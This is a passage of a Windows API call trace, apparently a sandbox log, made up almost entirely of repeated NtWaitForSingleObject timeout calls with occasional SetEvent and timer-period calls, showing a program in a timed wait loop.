	[0101.632] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.642] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.678] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.698] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.723] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.733] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.763] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.777] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.857] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.877] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.887] SetEvent (hEvent=0x8c) returned 1
	[0101.887] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0101.888] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0101.888] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0102.035] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0102.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.048] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.064] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.065] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.067] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.070] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.072] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.077] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.078] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.079] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.082] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.083] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.085] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.087] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.088] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.092] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.094] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.095] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.097] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.099] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.101] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.101] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.103] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.105] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.108] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.109] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.113] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.115] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.116] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.117] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.122] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.128] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.148] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.158] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.168] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.179] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.189] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.199] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.208] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.250] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.260] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.311] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.321] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.330] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.351] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.361] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.384] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.394] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.413] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.424] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.433] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.446] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.476] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.486] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.545] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.558] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.598] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.608] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.619] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.628] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.667] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.676] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.687] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.696] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.707] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.718] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.739] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.749] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.769] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.780] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.790] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.800] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.810] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.830] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.860] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.871] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.891] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.901] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.911] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.932] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.941] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.951] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.972] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.982] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0102.992] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.013] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.025] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.036] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.056] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.085] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.097] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.106] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.117] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.127] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.178] SetEvent (hEvent=0x8c) returned 1
	[0103.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.184] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0103.184] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0103.185] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0103.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.186] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.189] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.191] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.192] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.193] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.194] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.195] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.196] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.198] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.200] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.201] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.202] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.204] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.206] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.214] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.215] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.216] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.225] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.226] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.227] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.229] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.233] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.235] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.237] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.240] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.305] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.315] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.325] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.345] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.356] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.378] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.393] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.404] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.415] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.425] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.447] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.475] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.523] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.545] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.576] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.595] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.627] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.647] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0103.666] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
